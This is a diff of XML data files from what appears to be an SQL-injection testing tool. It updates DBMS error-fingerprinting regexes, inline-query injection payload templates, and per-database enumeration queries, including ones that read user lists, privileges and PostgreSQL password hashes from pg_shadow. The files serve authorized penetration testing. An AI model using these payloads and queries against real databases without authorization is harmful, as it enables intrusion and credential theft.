<error regexp="MySqlException"/>
|
||||||
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
|
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
|
||||||
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
|
|
||||||
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
|
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
|
||||||
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
|
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
|
||||||
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
|
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- PostgreSQL -->
|
|
||||||
<dbms value="PostgreSQL">
|
<dbms value="PostgreSQL">
|
||||||
<error regexp="PostgreSQL.*?ERROR"/>
|
<error regexp="PostgreSQL.*?ERROR"/>
|
||||||
<error regexp="Warning.*?\Wpg_"/>
|
<error regexp="Warning.*?\Wpg_"/>
|
||||||
@@ -37,7 +36,6 @@
|
|||||||
<error regexp="PSQLException"/>
|
<error regexp="PSQLException"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Microsoft SQL Server -->
|
|
||||||
<dbms value="Microsoft SQL Server">
|
<dbms value="Microsoft SQL Server">
|
||||||
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
|
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
|
||||||
<error regexp="OLE DB.*? SQL Server"/>
|
<error regexp="OLE DB.*? SQL Server"/>
|
||||||
@@ -59,7 +57,6 @@
|
|||||||
<error regexp="SQL(Srv|Server)Exception"/>
|
<error regexp="SQL(Srv|Server)Exception"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Microsoft Access -->
|
|
||||||
<dbms value="Microsoft Access">
|
<dbms value="Microsoft Access">
|
||||||
<error regexp="Microsoft Access (\d+ )?Driver"/>
|
<error regexp="Microsoft Access (\d+ )?Driver"/>
|
||||||
<error regexp="JET Database Engine"/>
|
<error regexp="JET Database Engine"/>
|
||||||
@@ -68,7 +65,6 @@
|
|||||||
<error regexp="Syntax error \(missing operator\) in query expression"/>
|
<error regexp="Syntax error \(missing operator\) in query expression"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Oracle -->
|
|
||||||
<dbms value="Oracle">
|
<dbms value="Oracle">
|
||||||
<error regexp="\bORA-\d{5}"/>
|
<error regexp="\bORA-\d{5}"/>
|
||||||
<error regexp="Oracle error"/>
|
<error regexp="Oracle error"/>
|
||||||
@@ -83,7 +79,6 @@
|
|||||||
<error regexp="OracleException"/>
|
<error regexp="OracleException"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- IBM DB2 -->
|
|
||||||
<dbms value="IBM DB2">
|
<dbms value="IBM DB2">
|
||||||
<error regexp="CLI Driver.*?DB2"/>
|
<error regexp="CLI Driver.*?DB2"/>
|
||||||
<error regexp="DB2 SQL error"/>
|
<error regexp="DB2 SQL error"/>
|
||||||
@@ -93,9 +88,9 @@
|
|||||||
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
||||||
<error regexp="Pdo[./_\\]Ibm"/>
|
<error regexp="Pdo[./_\\]Ibm"/>
|
||||||
<error regexp="DB2Exception"/>
|
<error regexp="DB2Exception"/>
|
||||||
|
<error regexp="ibm_db_dbi\.ProgrammingError"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Informix -->
|
|
||||||
<dbms value="Informix">
|
<dbms value="Informix">
|
||||||
<error regexp="Warning.*?\Wifx_"/>
|
<error regexp="Warning.*?\Wifx_"/>
|
||||||
<error regexp="Exception.*?Informix"/>
|
<error regexp="Exception.*?Informix"/>
|
||||||
@@ -115,7 +110,6 @@
|
|||||||
<error regexp="Pdo[./_\\]Firebird"/>
|
<error regexp="Pdo[./_\\]Firebird"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- SQLite -->
|
|
||||||
<dbms value="SQLite">
|
<dbms value="SQLite">
|
||||||
<error regexp="SQLite/JDBCDriver"/>
|
<error regexp="SQLite/JDBCDriver"/>
|
||||||
<error regexp="SQLite\.Exception"/>
|
<error regexp="SQLite\.Exception"/>
|
||||||
@@ -130,15 +124,15 @@
|
|||||||
<error regexp="SQLiteException"/>
|
<error regexp="SQLiteException"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- SAP MaxDB -->
|
|
||||||
<dbms value="SAP MaxDB">
|
<dbms value="SAP MaxDB">
|
||||||
<error regexp="SQL error.*?POS([0-9]+)"/>
|
<error regexp="SQL error.*?POS([0-9]+)"/>
|
||||||
<error regexp="Warning.*?\Wmaxdb_"/>
|
<error regexp="Warning.*?\Wmaxdb_"/>
|
||||||
<error regexp="DriverSapDB"/>
|
<error regexp="DriverSapDB"/>
|
||||||
|
<error regexp="-3014.*?Invalid end of SQL statement"/>
|
||||||
<error regexp="com\.sap\.dbtech\.jdbc"/>
|
<error regexp="com\.sap\.dbtech\.jdbc"/>
|
||||||
|
<error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Sybase -->
|
|
||||||
<dbms value="Sybase">
|
<dbms value="Sybase">
|
||||||
<error regexp="Warning.*?\Wsybase_"/>
|
<error regexp="Warning.*?\Wsybase_"/>
|
||||||
<error regexp="Sybase message"/>
|
<error regexp="Sybase message"/>
|
||||||
@@ -148,7 +142,6 @@
|
|||||||
<error regexp="com\.sybase\.jdbc"/>
|
<error regexp="com\.sybase\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Ingres -->
|
|
||||||
<dbms value="Ingres">
|
<dbms value="Ingres">
|
||||||
<error regexp="Warning.*?\Wingres_"/>
|
<error regexp="Warning.*?\Wingres_"/>
|
||||||
<error regexp="Ingres SQLSTATE"/>
|
<error regexp="Ingres SQLSTATE"/>
|
||||||
@@ -156,39 +149,36 @@
|
|||||||
<error regexp="com\.ingres\.gcf\.jdbc"/>
|
<error regexp="com\.ingres\.gcf\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Frontbase -->
|
<dbms value="FrontBase">
|
||||||
<dbms value="Frontbase">
|
|
||||||
<error regexp="Exception (condition )?\d+\. Transaction rollback"/>
|
<error regexp="Exception (condition )?\d+\. Transaction rollback"/>
|
||||||
<error regexp="com\.frontbase\.jdbc"/>
|
<error regexp="com\.frontbase\.jdbc"/>
|
||||||
|
<error regexp="Syntax error 1. Missing"/>
|
||||||
|
<error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- HSQLDB -->
|
|
||||||
<dbms value="HSQLDB">
|
<dbms value="HSQLDB">
|
||||||
<error regexp="Unexpected end of command in statement \["/>
|
<error regexp="Unexpected end of command in statement \["/>
|
||||||
<error regexp="Unexpected token.*?in statement \["/>
|
<error regexp="Unexpected token.*?in statement \["/>
|
||||||
<error regexp="org\.hsqldb\.jdbc"/>
|
<error regexp="org\.hsqldb\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- H2 -->
|
|
||||||
<dbms value="H2">
|
<dbms value="H2">
|
||||||
<error regexp="org\.h2\.jdbc"/>
|
<error regexp="org\.h2\.jdbc"/>
|
||||||
|
<error regexp="\[42000-192\]"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- MonetDB -->
|
|
||||||
<dbms value="MonetDB">
|
<dbms value="MonetDB">
|
||||||
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
|
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
|
||||||
<error regexp="\[MonetDB\]\[ODBC Driver"/>
|
<error regexp="\[MonetDB\]\[ODBC Driver"/>
|
||||||
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
|
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Apache Derby -->
|
|
||||||
<dbms value="Apache Derby">
|
<dbms value="Apache Derby">
|
||||||
<error regexp="Syntax error: Encountered"/>
|
<error regexp="Syntax error: Encountered"/>
|
||||||
<error regexp="org\.apache\.derby"/>
|
<error regexp="org\.apache\.derby"/>
|
||||||
<error regexp="ERROR 42X01"/>
|
<error regexp="ERROR 42X01"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Vertica -->
|
|
||||||
<dbms value="Vertica">
|
<dbms value="Vertica">
|
||||||
<error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
|
<error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
|
||||||
<error regexp="/vertica/Parser/scan"/>
|
<error regexp="/vertica/Parser/scan"/>
|
||||||
@@ -197,13 +187,12 @@
|
|||||||
<error regexp="com\.vertica\.dsi\.dataengine"/>
|
<error regexp="com\.vertica\.dsi\.dataengine"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Mckoi -->
|
|
||||||
<dbms value="Mckoi">
|
<dbms value="Mckoi">
|
||||||
<error regexp="com\.mckoi\.JDBCDriver"/>
|
<error regexp="com\.mckoi\.JDBCDriver"/>
|
||||||
<error regexp="com\.mckoi\.database\.jdbc"/>
|
<error regexp="com\.mckoi\.database\.jdbc"/>
|
||||||
|
<error regexp="<REGEX_LITERAL>"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Presto -->
|
|
||||||
<dbms value="Presto">
|
<dbms value="Presto">
|
||||||
<error regexp="com\.facebook\.presto\.jdbc"/>
|
<error regexp="com\.facebook\.presto\.jdbc"/>
|
||||||
<error regexp="io\.prestosql\.jdbc"/>
|
<error regexp="io\.prestosql\.jdbc"/>
|
||||||
@@ -211,14 +200,21 @@
|
|||||||
<error regexp="UNION query has different number of fields: \d+, \d+"/>
|
<error regexp="UNION query has different number of fields: \d+, \d+"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Altibase -->
|
|
||||||
<dbms value="Altibase">
|
<dbms value="Altibase">
|
||||||
<error regexp="Altibase\.jdbc\.driver"/>
|
<error regexp="Altibase\.jdbc\.driver"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- MimerSQL -->
|
|
||||||
<dbms value="MimerSQL">
|
<dbms value="MimerSQL">
|
||||||
<error regexp="com\.mimer\.jdbc"/>
|
<error regexp="com\.mimer\.jdbc"/>
|
||||||
<error regexp="Syntax error,[^\n]+assumed to mean"/>
|
<error regexp="Syntax error,[^\n]+assumed to mean"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="CrateDB">
|
||||||
|
<error regexp="io\.crate\.client\.jdbc"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Cache">
|
||||||
|
<error regexp="encountered after end of query"/>
|
||||||
|
<error regexp="A comparison operator is required here"/>
|
||||||
|
</dbms>
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
@@ -3,19 +3,31 @@
|
|||||||
<root>
|
<root>
|
||||||
<!-- Inline queries tests -->
|
<!-- Inline queries tests -->
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL inline queries</title>
|
<title>Generic inline queries</title>
|
||||||
<stype>3</stype>
|
<stype>3</stype>
|
||||||
<level>1</level>
|
<level>1</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8</clause>
|
<clause>1,2,3,8</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
|
<vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL inline queries</title>
|
||||||
|
<stype>3</stype>
|
||||||
|
<level>2</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8</clause>
|
||||||
|
<where>3</where>
|
||||||
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
||||||
<request>
|
<request>
|
||||||
<!-- These work as good as ELT(), but are longer
|
<payload>(SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))</payload>
|
||||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
|
|
||||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
|
||||||
-->
|
|
||||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
@@ -28,7 +40,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>PostgreSQL inline queries</title>
|
<title>PostgreSQL inline queries</title>
|
||||||
<stype>3</stype>
|
<stype>3</stype>
|
||||||
<level>1</level>
|
<level>2</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8</clause>
|
<clause>1,2,3,8</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
@@ -47,13 +59,13 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>Microsoft SQL Server/Sybase inline queries</title>
|
<title>Microsoft SQL Server/Sybase inline queries</title>
|
||||||
<stype>3</stype>
|
<stype>3</stype>
|
||||||
<level>1</level>
|
<level>2</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8</clause>
|
<clause>1,2,3,8</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
|
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')</payload>
|
<payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
@@ -75,7 +87,7 @@
|
|||||||
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
|
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
|
||||||
<request>
|
<request>
|
||||||
<!-- NOTE: Vertica works too without the TO_NUMBER() -->
|
<!-- NOTE: Vertica works too without the TO_NUMBER() -->
|
||||||
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
|
<payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
@@ -94,7 +106,7 @@
|
|||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
|
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]'</payload>
|
<payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
|||||||
+351
-59
@@ -1,7 +1,6 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
<root>
|
<root>
|
||||||
<!-- MySQL -->
|
|
||||||
<dbms value="MySQL">
|
<dbms value="MySQL">
|
||||||
<!-- http://dba.fyicenter.com/faq/mysql/Difference-between-CHAR-and-NCHAR.html -->
|
<!-- http://dba.fyicenter.com/faq/mysql/Difference-between-CHAR-and-NCHAR.html -->
|
||||||
<cast query="CAST(%s AS NCHAR)"/>
|
<cast query="CAST(%s AS NCHAR)"/>
|
||||||
@@ -30,8 +29,8 @@
|
|||||||
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 0,1)='Y'"/>
|
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 0,1)='Y'"/>
|
||||||
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0,1)='%s'"/>
|
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0,1)='%s'"/>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
|
<inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user" query3="SELECT username FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
|
||||||
<blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
|
<blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" query3="SELECT DISTINCT(username) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user" count3="SELECT COUNT(DISTINCT(username)) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
|
||||||
</users>
|
</users>
|
||||||
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
|
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
|
||||||
<!-- https://stackoverflow.com/a/31122246 -->
|
<!-- https://stackoverflow.com/a/31122246 -->
|
||||||
@@ -45,7 +44,7 @@
|
|||||||
</privileges>
|
</privileges>
|
||||||
<roles/>
|
<roles/>
|
||||||
<statements>
|
<statements>
|
||||||
<inband query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST"/>
|
<inband query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST" query2="SELECT INFO FROM DATA_DICTIONARY.PROCESSLIST"/>
|
||||||
<blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
|
<blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
|
||||||
</statements>
|
</statements>
|
||||||
<dbs>
|
<dbs>
|
||||||
@@ -78,11 +77,11 @@
|
|||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- PostgreSQL -->
|
|
||||||
<dbms value="PostgreSQL">
|
<dbms value="PostgreSQL">
|
||||||
<cast query="CAST(%s AS CHARACTER(10000))"/>
|
<cast query="CAST(%s AS VARCHAR(10000))"/>
|
||||||
<length query="LENGTH(%s)"/>
|
<length query="LENGTH(%s)"/>
|
||||||
<isnull query="COALESCE(%s,' ')"/>
|
<!-- NOTE: PostgreSQL does not like COALESCE with different data-types (e.g. COALESCE(id,' ')) -->
|
||||||
|
<isnull query="COALESCE(%s::text,' ')"/>
|
||||||
<delimiter query="||"/>
|
<delimiter query="||"/>
|
||||||
<limit query="OFFSET %d LIMIT %d"/>
|
<limit query="OFFSET %d LIMIT %d"/>
|
||||||
<limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
<limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||||
@@ -108,7 +107,7 @@
|
|||||||
<check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
|
<check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT usename FROM pg_user"/>
|
<inband query="SELECT usename FROM pg_user"/>
|
||||||
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
<blind query="SELECT DISTINCT(usename) FROM pg_user ORDER BY usename OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
||||||
</users>
|
</users>
|
||||||
<passwords>
|
<passwords>
|
||||||
<inband query="SELECT usename,passwd FROM pg_shadow" condition="usename"/>
|
<inband query="SELECT usename,passwd FROM pg_shadow" condition="usename"/>
|
||||||
@@ -125,23 +124,23 @@
|
|||||||
</statements>
|
</statements>
|
||||||
<dbs>
|
<dbs>
|
||||||
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
|
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
|
||||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
||||||
</dbs>
|
</dbs>
|
||||||
<tables>
|
<tables>
|
||||||
<inband query="SELECT schemaname,tablename FROM pg_tables" condition="schemaname"/>
|
<inband query="SELECT schemaname,tablename FROM pg_tables" condition="schemaname"/>
|
||||||
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
|
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' ORDER BY tablename OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
|
||||||
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db>
|
<search_db>
|
||||||
<inband query="SELECT datname FROM pg_database WHERE %s" condition="datname"/>
|
<inband query="SELECT schemaname FROM pg_tables WHERE %s" condition="schemaname"/>
|
||||||
<blind query="SELECT DISTINCT(datname) FROM pg_database WHERE %s" count="SELECT COUNT(DISTINCT(datname)) FROM pg_database WHERE %s" condition="datname"/>
|
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s" condition="schemaname"/>
|
||||||
</search_db>
|
</search_db>
|
||||||
<search_table>
|
<search_table>
|
||||||
<inband query="SELECT schemaname,tablename FROM pg_tables WHERE %s" condition="tablename" condition2="schemaname"/>
|
<inband query="SELECT schemaname,tablename FROM pg_tables WHERE %s" condition="tablename" condition2="schemaname"/>
|
||||||
@@ -153,7 +152,6 @@
|
|||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Microsoft SQL Server -->
|
|
||||||
<dbms value="Microsoft SQL Server">
|
<dbms value="Microsoft SQL Server">
|
||||||
<cast query="CAST(%s AS NVARCHAR(4000))"/>
|
<cast query="CAST(%s AS NVARCHAR(4000))"/>
|
||||||
<length query="LTRIM(STR(LEN(%s)))"/>
|
<length query="LTRIM(STR(LEN(%s)))"/>
|
||||||
@@ -200,8 +198,8 @@
|
|||||||
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
